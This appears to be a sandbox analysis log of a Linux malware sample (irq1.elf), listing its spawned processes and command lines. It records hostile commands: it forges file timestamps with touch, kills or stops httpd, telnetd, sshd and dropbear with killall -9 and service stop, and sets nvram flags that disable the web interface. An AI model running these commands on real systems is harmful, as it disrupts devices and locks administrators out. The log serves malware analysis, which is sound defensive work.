General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5476, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "touch -acmr /bin/ls /etc/inittab"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5478, Parent PID: 5476

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: touch PID: 5478, Parent PID: 5476

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/usr/bin/touch
Arguments:	touch -acmr /bin/ls /etc/inittab
File size:	100728 bytes
MD5 hash:	3859c173f5d3b37be3e531b7c84a9c68

Chronological Activities

Analysis Process: irq1.elf PID: 5479, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5481, Parent PID: 5479

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5481, Parent PID: 5479

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "/bin/uname -n"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5483, Parent PID: 5481

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uname PID: 5483, Parent PID: 5481

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/uname
Arguments:	/bin/uname -n
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Chronological Activities

Analysis Process: irq1.elf PID: 5484, Parent PID: 5479

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5484, Parent PID: 5479

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "/bin/uname -n"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5486, Parent PID: 5484

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uname PID: 5486, Parent PID: 5484

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/uname
Arguments:	/bin/uname -n
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Chronological Activities

Analysis Process: irq1.elf PID: 5487, Parent PID: 5479

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5487, Parent PID: 5479

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "/bin/uname -n"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5489, Parent PID: 5487

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uname PID: 5489, Parent PID: 5487

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/uname
Arguments:	/bin/uname -n
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Chronological Activities

Analysis Process: irq1.elf PID: 5490, Parent PID: 5479

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5490, Parent PID: 5479

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5495, Parent PID: 5490

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5498, Parent PID: 5495

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5498, Parent PID: 5495

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/usr/bin/cat
Arguments:	cat /var/run/httpd.pid
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: irq1.elf PID: 5496, Parent PID: 5479

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5496, Parent PID: 5479

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "service httpd stop > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5502, Parent PID: 5496

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5502, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	service httpd stop
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5508, Parent PID: 5502

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5508, Parent PID: 5502

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5512, Parent PID: 5502

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5512, Parent PID: 5502

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5516, Parent PID: 5502

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5516, Parent PID: 5502

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5525, Parent PID: 5502

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5526, Parent PID: 5525

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5526, Parent PID: 5525

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5527, Parent PID: 5525

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5527, Parent PID: 5525

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5502, Parent PID: 2935

General

Start time (UTC):	16:07:08
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl stop httpd.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: irq1.elf PID: 5503, Parent PID: 5479

General

Start time (UTC):	16:06:53
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5503, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5509, Parent PID: 5503

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5509, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 mini_httpd
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5510, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5510, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5513, Parent PID: 5510

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5513, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 minihttpd
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5514, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5514, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5517, Parent PID: 5514

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5519, Parent PID: 5517

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5519, Parent PID: 5517

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/cat
Arguments:	cat /var/run/thttpd.pid
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: irq1.elf PID: 5518, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5518, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: irq1.elf PID: 5521, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5521, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "nvram set http_enable=0 > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: irq1.elf PID: 5523, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5523, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 httpd > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5528, Parent PID: 5523

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5528, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 httpd
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5529, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5529, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "service telnetd stop > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5531, Parent PID: 5529

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5531, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	service telnetd stop
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5536, Parent PID: 5531

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5536, Parent PID: 5531

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5539, Parent PID: 5531

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5539, Parent PID: 5531

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5544, Parent PID: 5531

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5544, Parent PID: 5531

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5558, Parent PID: 5531

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5559, Parent PID: 5558

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5559, Parent PID: 5558

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5560, Parent PID: 5558

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5560, Parent PID: 5558

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5531, Parent PID: 2935

General

Start time (UTC):	16:07:08
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl stop telnetd.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: irq1.elf PID: 5532, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5532, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "service sshd stop > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5534, Parent PID: 5532

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5534, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	service sshd stop
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5538, Parent PID: 5534

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5538, Parent PID: 5534

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5543, Parent PID: 5534

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5543, Parent PID: 5534

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5548, Parent PID: 5534

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5548, Parent PID: 5534

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5561, Parent PID: 5534

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5562, Parent PID: 5561

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5562, Parent PID: 5561

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5563, Parent PID: 5561

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5563, Parent PID: 5561

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5534, Parent PID: 2935

General

Start time (UTC):	16:07:08
Start date (UTC):	22/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl stop sshd.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: irq1.elf PID: 5535, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5535, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 telnetd > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5540, Parent PID: 5535

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5540, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 telnetd
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5541, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5541, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5545, Parent PID: 5541

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5545, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 utelnetd
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5546, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5546, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 dropbear > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5549, Parent PID: 5546

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5549, Parent PID: 2935

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 dropbear
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5550, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5550, Parent PID: 5479

General

Start time (UTC):	16:06:54
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "killall -9 sshd > /dev/null 2>&1 &"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5554, Parent PID: 5550

General

Start time (UTC):	16:06:55
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: killall PID: 5554, Parent PID: 2935

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/usr/bin/killall
Arguments:	killall -9 sshd
File size:	32024 bytes
MD5 hash:	cd2adedbee501869ac691b88af39cd8b

Chronological Activities

Analysis Process: irq1.elf PID: 5555, Parent PID: 5479

General

Start time (UTC):	16:06:56
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
